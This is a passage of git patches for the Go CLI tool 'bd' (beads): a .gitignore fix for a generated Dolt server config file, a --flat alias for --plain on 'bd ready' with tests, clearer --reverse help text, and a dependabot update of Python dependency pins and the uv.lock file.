uses newline-inside-Render bytes:\n%q", got) + } +} + +func stripANSIForTest(s string) string { + return regexp.MustCompile(`\x1b\[[0-9;]*m`).ReplaceAllString(s, "") +} + +func whitespaceOnlyLineWidth(s string) int { + width := 0 + for _, line := range strings.Split(s, "\n") { + if line != "" && strings.TrimSpace(line) == "" && len(line) > width { + width = len(line) + } + } + return width +} + +func widestNonBlankLineWidth(s string) int { + width := 0 + for _, line := range strings.Split(s, "\n") { + if strings.TrimSpace(line) != "" && len(line) > width { + width = len(line) + } + } + return width +} + +func assertNoWhitespaceOnlyLine(t *testing.T, s string) { + t.Helper() + for i, line := range strings.Split(s, "\n") { + if line != "" && strings.TrimSpace(line) == "" { + t.Fatalf("whitespace-only line at index %d (len=%d): %q", i, len(line), line) + } + } +} From 671db6560dcfd312b82669c5909ef045c296a644 Mon Sep 17 00:00:00 2001 From: Adam Spiers Date: Thu, 3 Sep 2026 02:12:33 +0100 Subject: [PATCH 034/624] fix(doctor): ignore the generated dolt-server-config.yaml (#5978) doltserver.Start() writes .beads/dolt-server-config.yaml when the resolved dolt binary supports auto_gc_behavior.archive_level. Its own doc comment says the file "lives alongside the other gitignored server state files in beadsDir", but the hyphenated name falls outside the "dolt-server." prefix shared by the other five entries, so both GitignoreTemplate and requiredPatterns missed it. The file holds an absolute cfg_dir and a per-machine port, so committing it breaks every other clone -- the same reason the template already gives for 'redirect'. It shows up as untracked in every consumer repo whose dolt supports archive_level. This repo does not see it because its own root .gitignore has a blanket .beads/* rule. Add the pattern to requiredPatterns as well as the template: the template only helps repos initialised after this change, while requiredPatterns is what missingGitignorePatterns() iterates, so it is what lets bd doctor --fix append the rule to an existing .beads/.gitignore. Co-authored-by: Adam Spiers --- cmd/bd/doctor/gitignore.go | 2 ++ cmd/bd/doctor/gitignore_test.go | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 35 insertions(+) diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index 9bf418ab1..1a3c0b54f 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -65,6 +65,7 @@ dolt-server.log dolt-server.lock dolt-server.port dolt-server.activity +dolt-server-config.yaml # Debug-mode pprof artifacts (written when dolt.debug: true in config.yaml) dolt-pprof/ @@ -129,6 +130,7 @@ var requiredPatterns = []string{ "dolt-server.lock", "dolt-server.port", "dolt-server.activity", + "dolt-server-config.yaml", "daemon.*", "*.lock", "*.corrupt.backup/", diff --git a/cmd/bd/doctor/gitignore_test.go b/cmd/bd/doctor/gitignore_test.go index dc4ccd70c..d776a4c8d 100644 --- a/cmd/bd/doctor/gitignore_test.go +++ b/cmd/bd/doctor/gitignore_test.go @@ -1522,6 +1522,39 @@ func TestRequiredPatterns_ContainsSyncStatePatterns(t *testing.T) { } } +// TestGitignore_ContainsDoltServerConfig verifies that the generated Dolt +// server config is ignored like the other dolt-server.* runtime state files +// it sits beside. doltserver.Start() writes .beads/dolt-server-config.yaml +// when the resolved dolt binary supports auto_gc_behavior.archive_level, and +// it holds an absolute cfg_dir plus a per-machine port, so committing it +// would break every other clone. +// +// The hyphenated name falls outside the "dolt-server." prefix shared by the +// other five entries, so it was missed by both lists. It must be in +// requiredPatterns too, otherwise bd doctor --fix cannot heal an existing +// .beads/.gitignore. +func TestGitignore_ContainsDoltServerConfig(t *testing.T) { + // Keep this in sync with doltserver.doltServerConfigFileName. It is not + // imported here because cmd/bd/doctor must not depend on the server + // package for a string constant. + const pattern = "dolt-server-config.yaml" + + if !containsGitignorePattern(GitignoreTemplate, pattern) { + t.Errorf("GitignoreTemplate should contain %q", pattern) + } + + found := false + for _, p := range requiredPatterns { + if p == pattern { + found = true + break + } + } + if !found { + t.Errorf("requiredPatterns should include %q", pattern) + } +} + // TestCheckLastTouchedNotTracked_NoFile verifies that check passes when no last-touched file exists func TestCheckLastTouchedNotTracked_NoFile(t *testing.T) { tmpDir := t.TempDir() From 92f929329760ffaa49d49503d3ff1a27425d2d3f Mon Sep 17 00:00:00 2001 From: postoso Date: Wed, 2 Sep 2026 21:12:46 -0400 Subject: [PATCH 035/624] fix(cli): accept --flat on bd ready as an alias for --plain (#5724) `bd list --flat` disables the tree view; `bd ready --plain` does the same thing under a different name. A user who learns the flag from bd list and tries `bd ready --flat` gets "unknown flag: --flat" and exit 1, with nothing in the error pointing at --plain. Register --flat on ready and fold it into the existing plainFormat choice in gatherReadyInput, which is the one place both routes parse the command's flags, so the direct and proxied listings pick it up together. --plain stays the canonical spelling and its behavior is unchanged. Generated CLI docs are not regenerated: docs/cli-docs.pin builds them from tag v1.1.0, not HEAD. ./scripts/check-cli-docs-drift.sh --base main and ./scripts/check-doc-flags.sh both pass. Co-authored-by: postoso --- cmd/bd/ready.go | 1 + cmd/bd/ready_input.go | 3 +++ cmd/bd/ready_input_test.go | 27 +++++++++++++++++++++++++++ 3 files changed, 31 insertions(+) diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index b529d3f20..8cf480a82 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -732,6 +732,7 @@ func init() { readyCmd.Flags().String("mol-type", "", "Filter by molecule type: swarm, patrol, or work") readyCmd.Flags().Bool("pretty", true, "Display issues in a tree format with status/priority symbols") readyCmd.Flags().Bool("plain", false, "Display issues as a plain numbered list") + readyCmd.Flags().Bool("flat", false, "Alias for --plain, spelled the way bd list spells it") readyCmd.Flags().Bool("include-deferred", false, "Include issues with future defer_until timestamps") readyCmd.Flags().Bool("include-ephemeral", false, "Include ephemeral issues (wisps) in results") readyCmd.Flags().Bool("gated", false, "Find molecules ready for gate-resume dispatch") diff --git a/cmd/bd/ready_input.go b/cmd/bd/ready_input.go index 04baf9fe1..0643ae3bd 100644 --- a/cmd/bd/ready_input.go +++ b/cmd/bd/ready_input.go @@ -63,6 +63,9 @@ func gatherReadyInput(cmd *cobra.Command, resolveCap func(*cobra.Command) (int, in.Brief, _ = cmd.Flags().GetBool("brief") in.prettyFormat, _ = cmd.Flags().GetBool("pretty") in.plainFormat, _ = cmd.Flags().GetBool("plain") + if flat, _ := cmd.Flags().GetBool("flat"); flat { + in.plainFormat = true + } in.jsonOut = jsonOutput limit, _ := cmd.Flags().GetInt("limit") diff --git a/cmd/bd/ready_input_test.go b/cmd/bd/ready_input_test.go index d189b53e8..1345161ae 100644 --- a/cmd/bd/ready_input_test.go +++ b/cmd/bd/ready_input_test.go @@ -469,6 +469,33 @@ func TestGatherReadyInputIgnoresNegativeOffset(t *testing.T) { } } +// TestGatherReadyInputFlatAliasesPlain pins the flag-name parity with +// `bd list --flat`. Both spellings have to land on plainFormat, because that +// one field is where the direct route and the proxied route each build their +// usePlain choice. +func TestGatherReadyInputFlatAliasesPlain(t *testing.T) { + for _, tc := range []struct { + name string + args []string + want bool + }{ + {name: "neither", args: nil, want: false}, + {name: "plain", args: []string{"--plain"}, want: true}, + {name: "flat", args: []string{"--flat"}, want: true}, + {name: "both", args: []string{"--plain", "--flat"}, want: true}, + } { + t.Run(tc.name, func(t *testing.T) { + got := runGatherReadyInput(t, newReadyFlagsCommand(t, tc.args...), nil) + if got.err != nil { + t.Fatalf("gatherReadyInput(%v) = %v, want no error", tc.args, got.err) + } + if got.in.plainFormat != tc.want { + t.Errorf("plainFormat = %v, want %v", got.in.plainFormat, tc.want) + } + }) + } +} + // TestGatherReadyInputKeepsDirectoryLabelVerbatim pins GH#541's label against // the collapse into workapi. The configured label is not user input: `bd ready` // has always put it on the filter exactly as configured, so it must not be From 90a687f4e926acea28f1d515f24ab60fc3379f95 Mon Sep 17 00:00:00 2001 From: postoso Date: Wed, 2 Sep 2026 21:12:58 -0400 Subject: [PATCH 036/624] docs(cli): say which direction --reverse reverses from (#5714) The date sort fields already default to newest-first (created, updated, closed in sqlbuild.SortDefs), so --sort updated --reverse returns oldest-first. The flag help said only "Reverse sort order", which reads as "give me newest first" and returns the opposite. Help text only, on the three commands that share the flag. Sort behavior is unchanged. Co-authored-by: postoso --- cmd/bd/list.go | 2 +- cmd/bd/query.go | 2 +- cmd/bd/search.go | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/cmd/bd/list.go b/cmd/bd/list.go index 0254c9274..cd4817160 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -415,7 +415,7 @@ func init() { listCmd.Flags().Bool("all", false, "Show all issues including closed (overrides default filter)") listCmd.Flags().Bool("long", false, "Show detailed multi-line output for each issue") listCmd.Flags().String("sort", "", "Sort by field: priority, created, updated, closed, status, id, title, type, assignee") - listCmd.Flags().BoolP("reverse", "r", false, "Reverse sort order") + listCmd.Flags().BoolP("reverse", "r", false, "Invert the sort field's default direction (created/updated/closed default to newest-first, so --sort updated --reverse is oldest-first)") // Pattern matching listCmd.Flags().String("title-contains", "", "Filter by title substring (case-insensitive)") diff --git a/cmd/bd/query.go b/cmd/bd/query.go index 67c689778..a2769bf0b 100644 --- a/cmd/bd/query.go +++ b/cmd/bd/query.go @@ -290,7 +290,7 @@ func init() { queryCmd.Flags().BoolP("all", "a", false, "Include closed issues (default: exclude closed)") queryCmd.Flags().Bool("long", false, "Show detailed multi-line output for each issue") queryCmd.Flags().String("sort", "", "Sort by field: priority, created, updated, closed, status, id, title, type, assignee") - queryCmd.Flags().BoolP("reverse", "r", false, "Reverse sort order") + queryCmd.Flags().BoolP("reverse", "r", false, "Invert the sort field's default direction (created/updated/closed default to newest-first, so --sort updated --reverse is oldest-first)") queryCmd.Flags().Bool("parse-only", false, "Only parse the query and show the AST (for debugging)") rootCmd.AddCommand(queryCmd) diff --git a/cmd/bd/search.go b/cmd/bd/search.go index b2c4a23e7..80dbe8ff7 100644 --- a/cmd/bd/search.go +++ b/cmd/bd/search.go @@ -366,7 +366,7 @@ func init() { searchCmd.Flags().IntP("limit", "n", 50, "Limit results (default: 50)") searchCmd.Flags().Bool("long", false, "Show detailed multi-line output for each issue") searchCmd.Flags().String("sort", "", "Sort by field: priority, created, updated, closed, status, id, title, type, assignee") - searchCmd.Flags().BoolP("reverse", "r", false, "Reverse sort order") + searchCmd.Flags().BoolP("reverse", "r", false, "Invert the sort field's default direction (created/updated/closed default to newest-first, so --sort updated --reverse is oldest-first)") // Date range flags searchCmd.Flags().String("created-after", "", "Filter issues created after date (YYYY-MM-DD or RFC3339)") From eeb9ee3d34597f96e1cc26805eea119cc665824d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 2 Sep 2026 18:24:34 -0700 Subject: [PATCH 037/624] chore(deps): bump the beads-mcp-python group across 1 directory with 4 updates (#5929) Bumps the beads-mcp-python group with 4 updates in the /integrations/beads-mcp directory: [fastmcp](https://github.com/PrefectHQ/fastmcp), [pydantic-settings](https://github.com/pydantic/pydantic-settings), [mypy](https://github.com/python/mypy) and [ruff](https://github.com/astral-sh/ruff). Updates `fastmcp` from 3.4.5 to 3.4.7 - [Release notes](https://github.com/PrefectHQ/fastmcp/releases) - [Changelog](https://github.com/PrefectHQ/fastmcp/blob/main/docs/changelog.mdx) - [Commits](https://github.com/PrefectHQ/fastmcp/compare/v3.4.5...v3.4.7) Updates `pydantic-settings` from 2.14.2 to 2.15.0 - [Release notes](https://github.com/pydantic/pydantic-settings/releases) - [Commits](https://github.com/pydantic/pydantic-settings/compare/v2.14.2...v2.15.0) Updates `mypy` from 2.3.0 to 2.3.1 - [Changelog](https://github.com/python/mypy/blob/master/CHANGELOG.md) - [Commits](https://github.com/python/mypy/compare/v2.3.0...v2.3.1) Updates `ruff` from 0.16.1 to 0.16.4 - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.1...0.16.4) --- updated-dependencies: - dependency-name: fastmcp dependency-version: 3.4.7 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: beads-mcp-python - dependency-name: mypy dependency-version: 2.3.1 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: beads-mcp-python - dependency-name: pydantic-settings dependency-version: 2.15.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: beads-mcp-python - dependency-name: ruff dependency-version: 0.16.3 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: beads-mcp-python ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- integrations/beads-mcp/pyproject.toml | 4 +- integrations/beads-mcp/uv.lock | 159 ++++++++++++++------------ 2 files changed, 85 insertions(+), 78 deletions(-) diff --git a/integrations/beads-mcp/pyproject.toml b/integrations/beads-mcp/pyproject.toml index a449c8caa..97e59c9bc 100644 --- a/integrations/beads-mcp/pyproject.toml +++ b/integrations/beads-mcp/pyproject.toml @@ -6,9 +6,9 @@ readme = "README.md" requires-python = ">=3.10" license = {text = "MIT"} dependencies = [ - "fastmcp==3.4.5", + "fastmcp==3.4.7", "pydantic==2.13.4", - "pydantic-settings==2.14.2", + "pydantic-settings==2.15.0", ] authors = [ {name = "Beads Contributors"} diff --git a/integrations/beads-mcp/uv.lock b/integrations/beads-mcp/uv.lock index 0a3a66bf9..c6bbcd113 100644 --- a/integrations/beads-mcp/uv.lock +++ b/integrations/beads-mcp/uv.lock @@ -146,9 +146,9 @@ dev = [ [package.metadata] requires-dist = [ - { name = "fastmcp", specifier = "==3.4.5" }, + { name = "fastmcp", specifier = "==3.4.7" }, { name = "pydantic", specifier = "==2.13.4" }, - { name = "pydantic-settings", specifier = "==2.14.2" }, + { name = "pydantic-settings", specifier = "==2.15.0" }, ] [package.metadata.requires-dev] @@ -661,19 +661,19 @@ wheels = [ [[package]] name = "fastmcp" -version = "3.4.5" +version = "3.4.7" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "fastmcp-slim", extra = ["client", "server"] }, ] -sdist = { url = "https://files.pythonhosted.org/packages/23/14/c1ffb91b7d1fece86c81e1f9df5474f30fd97e4cdaa398814bbbeee88568/fastmcp-3.4.5.tar.gz", hash = "sha256:a95f2bc876bef42e8b50f7872f24f3f2fe3b1d37408c734e8b9d9e03014b72d3", size = 28800521, upload-time = "2026-07-27T19:20:01.231Z" } +sdist = { url = "https://files.pythonhosted.org/packages/62/dd/fd444d94ae7afdaf5b6dd168799d34023f576b405872d6a27d5686a9d1f4/fastmcp-3.4.7.tar.gz", hash = "sha256:43117aca886f5ee2f6a569bba91cef02b59c339aad04ba29950ff18d251c822a", size = 28808982, upload-time = "2026-08-10T21:17:55.045Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/c6/4f/73450a436c963c0382d15a882fc5d08f15aadc329194df1b54495a7c8383/fastmcp-3.4.5-py3-none-any.whl", hash = "sha256:5d3d438eb2917e63e6faf53e8cb8fe26d887ec3232f848093a4eecad7fa34861", size = 8017, upload-time = "2026-07-27T19:19:57.942Z" }, + { url = "https://files.pythonhosted.org/packages/ac/14/6d950459cc831fa17fe2d1797926b6eb2d2f2af50f830e62d0c098cc1ec8/fastmcp-3.4.7-py3-none-any.whl", hash = "sha256:e4e7698cb4af5bc667b1901685261fa2f3526dc73d243a461fca42500c8dbe56", size = 8016, upload-time = "2026-08-10T21:17:51.391Z" }, ] [[package]] name = "fastmcp-slim" -version = "3.4.5" +version = "3.4.7" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "platformdirs" }, @@ -683,9 +683,9 @@ dependencies = [ { name = "rich" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/81/1d/f3e271fbcd01ce01a4cf623b336d8e1305c192aa5d5e8e0223b7167462e9/fastmcp_slim-3.4.5.tar.gz", hash = "sha256:5badc3bceee61f61297eeb9494f499325f3ce1cafabf4611b31f6c3e9d7dff59", size = 591622, upload-time = "2026-07-27T19:15:19.455Z" } +sdist = { url = "https://files.pythonhosted.org/packages/12/ac/7924e803368d0758ee4d6b1259066550df78f58f0f9f8bfebd5a123e957d/fastmcp_slim-3.4.7.tar.gz", hash = "sha256:06b32a358320a7dc2b2ee040ba89ea55ddc20763dff2949f384f7974b13b5d8f", size = 594357, upload-time = "2026-08-10T21:17:28.723Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/43/3b/16d8aa8224094519f30b078138e725b8a731bf0a13f1f850e58b5f9b3cc4/fastmcp_slim-3.4.5-py3-none-any.whl", hash = "sha256:bc31217827c4999812543c83ee95ed9a47f3ed1e3fd0bd4f64371e375b748eca", size = 766478, upload-time = "2026-07-27T19:15:18.015Z" }, + { url = "https://files.pythonhosted.org/packages/b4/97/e0e53642cd029a9a7635ae9c548f9f2cc995af5914e487b3df795664e4be/fastmcp_slim-3.4.7-py3-none-any.whl", hash = "sha256:6c931a0089705f3f2935428ef9b2bc74ad94140adc64aab84d116d103e694b3a", size = 769370, upload-time = "2026-08-10T21:17:27.227Z" }, ] [package.optional-dependencies] @@ -1077,7 +1077,7 @@ wheels = [ [[package]] name = "mypy" -version = "2.3.0" +version = "2.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "ast-serialize" }, @@ -1087,52 +1087,59 @@ dependencies = [ { name = "tomli", marker = "python_full_version < '3.11'" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/12/af/4e516a05d3ca2eb9283e9ec45b2c02225c1514dd6da49fd3c9eaa6639370/mypy-2.3.0.tar.gz", hash = "sha256:465965d41cd9a2726694e983e8ce7113259327bec798115d1e1dfa2a52fb666e", size = 3988104, upload-time = "2026-07-13T11:34:53.387Z" } +sdist = { url = "https://files.pythonhosted.org/packages/82/6a/878cc1097d4035f82bd516658d0c528d2a9955bc7b363afcbd0b07fea11b/mypy-2.3.1.tar.gz", hash = "sha256:47c1b1207258513a9d93495f69c8be9de73916186f0e52703e8c461b7a623419", size = 3992554, upload-time = "2026-08-15T03:03:38.549Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/a9/09/f2f5f45dae0c9a0891e4751a73312730e009395102e5d72a22a976cca41f/mypy-2.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1fa8d916ac3b705af733c4c1e6c9ebe38fd0d52beb15b105c3e8355b55e6ecdc", size = 14927774, upload-time = "2026-07-13T11:28:38.224Z" }, - { url = "https://files.pythonhosted.org/packages/56/b9/345367effd3a6877275a94d481614bfca983f45e028c6290e2cc54603811/mypy-2.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:28e1e2af8cd8fff551fd30f2fe4b03fb76764ac8b1ba6c6a1bd00ad32b412db3", size = 14000127, upload-time = "2026-07-13T11:30:19.57Z" }, - { url = "https://files.pythonhosted.org/packages/99/6c/a10b7a7b9f0a755fb94e27ae834d4cea9ad6c5221f9325eef8f182641feb/mypy-2.3.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3e77244df3843048c3f927182916730e40c124cbaa43905c1fb86cb382aa0805", size = 14229437, upload-time = "2026-07-13T11:28:17.765Z" }, - { url = "https://files.pythonhosted.org/packages/d9/bd/a26a602acb1bbf849fa4bdac4bc657ee2f11c0c2a764a2cc87a5304e865c/mypy-2.3.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9559ab18a9c9957dfa3004ab57cd4bac5f26a724329a9584e583367f0c2e1117", size = 15171457, upload-time = "2026-07-13T11:29:01.834Z" }, - { url = "https://files.pythonhosted.org/packages/7f/14/124f462bef69bcbc90b9358088460b6091954a3e004852fcd9948db617a5/mypy-2.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:09abd66d8685e73f8f7d17b847c3e104d9a7b164a8706ea87d6c96a3d45816d5", size = 15478281, upload-time = "2026-07-13T11:32:23.413Z" }, - { url = "https://files.pythonhosted.org/packages/db/a4/8bdca6a8ac8d856d82ed049144af2721245a135c2e8001d3890c93975852/mypy-2.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:5e91adad1ca81742ac7ef9893959911df867752206b37135185e88dfb3c89494", size = 11148008, upload-time = "2026-07-13T11:34:17.332Z" }, - { url = "https://files.pythonhosted.org/packages/83/41/490eea348e60ba50decec20bc750605444149a5d7a8cc560042f90ba2c75/mypy-2.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:6f99ec626e3c3a2f7c0b22c5b90ddb5dabb1c18729c971e9bdaca1f1766d2cee", size = 10142329, upload-time = "2026-07-13T11:32:52.116Z" }, - { url = "https://files.pythonhosted.org/packages/e6/b9/d75b3082b05f1b3028828aeb18e74ae5ab0a0936051bbf1f32f59f654747/mypy-2.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3419d00717afbc5265b50dd14b1278f29ea4884dd398ab67873489ac093fd329", size = 14838725, upload-time = "2026-07-13T11:32:44.655Z" }, - { url = "https://files.pythonhosted.org/packages/a9/50/79a65c6ea6e115bc73296038a4543b2d5c91f07912b918a2c616a2514bba/mypy-2.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cfca8ee88544090f86b6dcce05ec55d66eb48a762412ac2507810ba4bd793b6f", size = 13911128, upload-time = "2026-07-13T11:32:02.021Z" }, - { url = "https://files.pythonhosted.org/packages/90/48/e11ed7716c26953ca321f726e452e374dbf81a6f2b8b212ec02af29b6b8f/mypy-2.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:75cbb4b9ef04a0c84a957f07abc4504fbf64b8dcc145675101f2d3a78a4b1d6a", size = 14146742, upload-time = "2026-07-13T11:33:03.313Z" }, - { url = "https://files.pythonhosted.org/packages/06/72/6807565b1c4861ef66f7fdd98b51c61556356eab80235717b46c53bb8627/mypy-2.3.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:982e3d53dd23d0a4cef67dd66791fdbede0cf38f9eb617bf47663554c51e1e36", size = 15081418, upload-time = "2026-07-13T11:31:13.899Z" }, - { url = "https://files.pythonhosted.org/packages/00/80/1ea14c5d80e589e415973db3e47c78c2219a305b808b2b506395342c1d79/mypy-2.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:85c5385b93012ffa3b31479ab579aef5415f4f3a32c6cf1ae07a984d2a0ff461", size = 15328164, upload-time = "2026-07-13T11:31:35.723Z" }, - { url = "https://files.pythonhosted.org/packages/37/28/8223157404a3d51920078459c37f80fbdc590e1d8ea049dc5ce48643022a/mypy-2.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:13b1b16e2fa39f3b2e33fb1c468abc7a69369fa2e886b4b87b5afc81472325cd", size = 11136472, upload-time = "2026-07-13T11:27:37.018Z" }, - { url = "https://files.pythonhosted.org/packages/6f/cc/ea27e5959c5f258585a756b252031f3b313583d81b5064b2bebc41d3706b/mypy-2.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5cd2f027a972a4a5f2278a11fac9747f5f81a53a30b714d74950b6807e55568", size = 10135800, upload-time = "2026-07-13T11:30:08.92Z" }, - { url = "https://files.pythonhosted.org/packages/dc/94/0e7e592619e2133596a47cdd642534b0456545c218430bd3b9d8fefdd1b1/mypy-2.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2d53fc67b9d28a43c6199077f49fea0f05839e36cf6158500331c9549225e5a5", size = 15026523, upload-time = "2026-07-13T11:34:49.206Z" }, - { url = "https://files.pythonhosted.org/packages/f6/d2/1e1731df090a857df2807177a4626863e5ac0f0256513c35780efe53986f/mypy-2.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fbc00cee7bdbb9291979ddc9d08034a29dfcda4932628c9bbc28c1edd589df0c", size = 14032189, upload-time = "2026-07-13T11:33:57.168Z" }, - { url = "https://files.pythonhosted.org/packages/44/95/cab921f4a806e171f34113e6181dd23c55358ccf6a80741269ef594a410e/mypy-2.3.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04e617030eca5221909c8b7d8d7fd1c637948199aa2100b2ad9813feb07e1491", size = 14198696, upload-time = "2026-07-13T11:32:12.767Z" }, - { url = "https://files.pythonhosted.org/packages/66/80/e6d008bb19fe446e3662d85e0e2717bf9f2d611a2164fb29d6e067dbf46c/mypy-2.3.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56c184d2c20ca6b6378d58d1960270a767f41f5e44acbbd27f05effef4f4e1d7", size = 15286904, upload-time = "2026-07-13T11:34:27.594Z" }, - { url = "https://files.pythonhosted.org/packages/db/83/94397c9293608a364aa03e8084fb34ede4ae976a260384b9b52929308135/mypy-2.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3961a4a34b05f7c74b0f05aa51fbfe99a2d1e126038df40318d15c8f558b7ef3", size = 15528342, upload-time = "2026-07-13T11:34:07.819Z" }, - { url = "https://files.pythonhosted.org/packages/cf/96/d8b37d819adec6cfccfb1fd3afc1735d94717ddeafb45536db9c6943e09b/mypy-2.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:b1942b9314d4c784b8ea1dbab4972603290e5dd5630f06675f13aec97526bc4c", size = 11218346, upload-time = "2026-07-13T11:28:27.745Z" }, - { url = "https://files.pythonhosted.org/packages/2b/cd/cd9f725b19b19e5b530a154cf9bcf9e94279c5d55b3c34fb42b3aa48ea1b/mypy-2.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:be51653d7669d7d7955d613b8d0bb57d5b652eaf71a873ddf65ac87254dd2595", size = 10204525, upload-time = "2026-07-13T11:31:02.552Z" }, - { url = "https://files.pythonhosted.org/packages/6e/ae/f7d056eb0294586a572d0d0d89580ec633c064db520f11d37d5a2fb833bd/mypy-2.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:91ad22a52ae2c7e621c2f67c94d5a17f66b3209a4cff5cf8a573579835c69e97", size = 14947298, upload-time = "2026-07-13T11:27:47.734Z" }, - { url = "https://files.pythonhosted.org/packages/32/d5/db3e7af01e7844d21662c6ddc1f7825ec7cb4053f0391ac02faf3638396f/mypy-2.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:99ac767cc5d3b64c8d0ae226ead10c96694f94e4e7da1668642225dcd4e75aac", size = 13950768, upload-time = "2026-07-13T11:27:57.726Z" }, - { url = "https://files.pythonhosted.org/packages/d9/fb/43c031f0190513d1ec248ed037eceb742ddd2a4d74bbf406658a28173837/mypy-2.3.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de6d2c484742a4d7b0ed6d07b143375624d3b899c5749c7b3c947f56261f48a6", size = 14151586, upload-time = "2026-07-13T11:29:18.615Z" }, - { url = "https://files.pythonhosted.org/packages/ec/c3/f8b2ffc60883084da91be51af58e88a7ffd4ff9795acb7d902ff88d31eb1/mypy-2.3.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7da939dd335cfd2ad788bdfd081c9f4e47634ab995e5a45eb15fd1e5bc052f8b", size = 15227411, upload-time = "2026-07-13T11:30:29.904Z" }, - { url = "https://files.pythonhosted.org/packages/83/2e/16b917fc7adcf03f1aadddfc93aab804ffb234b1ab09c0ffd6d92a5d34a2/mypy-2.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7247eb2824f996722a949530183394921ca71deb9680052a338cf53cff7925c2", size = 15478790, upload-time = "2026-07-13T11:33:14.686Z" }, - { url = "https://files.pythonhosted.org/packages/c0/88/aaa65a93c73d0cdae7e42f8adb302bf6885bb281302084f99d0290a35347/mypy-2.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:75b0984bb3cbd76bb5c9291a8671f7ae66ca3b51c7584c358fc2e923259f0757", size = 11234919, upload-time = "2026-07-13T11:33:39.28Z" }, - { url = "https://files.pythonhosted.org/packages/35/19/b40de63f1a80e63bc2d40f0679a6a8dbd34e95176c8122119bdf406aa552/mypy-2.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:d78fcf900b59cb7e82cb7e3a235e31b462d9333d92285bd1e4952d355b8ffba1", size = 10201510, upload-time = "2026-07-13T11:31:52.619Z" }, - { url = "https://files.pythonhosted.org/packages/a4/58/fa0ae047da911f540284009b4f44b96fe09d83c076d7c103e9d645f46303/mypy-2.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ea317b060ce83e26050f8f9e4d7d6bf44ed7597c8ff9990bccffbb9d1d8522db", size = 14941909, upload-time = "2026-07-13T11:32:34.332Z" }, - { url = "https://files.pythonhosted.org/packages/15/14/2ba1d61452d7c2a7fe12741e8d374e52b183476b07aa7f9e2a0d02b0720a/mypy-2.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:094af99f92638aa92852326188b85a89e50f4a472f44827c03362228482f0762", size = 13967581, upload-time = "2026-07-13T11:30:00.587Z" }, - { url = "https://files.pythonhosted.org/packages/ed/5a/483fb9e5ffbbb1a28dccc7b0a13d141b17ac769b6c9f488c0a0c63698962/mypy-2.3.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de121747278144fc9ae7caa2e978cf5df12aebc82933182f5b3b86081a30baef", size = 14168807, upload-time = "2026-07-13T11:28:48.6Z" }, - { url = "https://files.pythonhosted.org/packages/ae/77/70d7a10732063beb74ad713682cf871e88f5c5fa39bfc8beff8a524bf9cb/mypy-2.3.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", 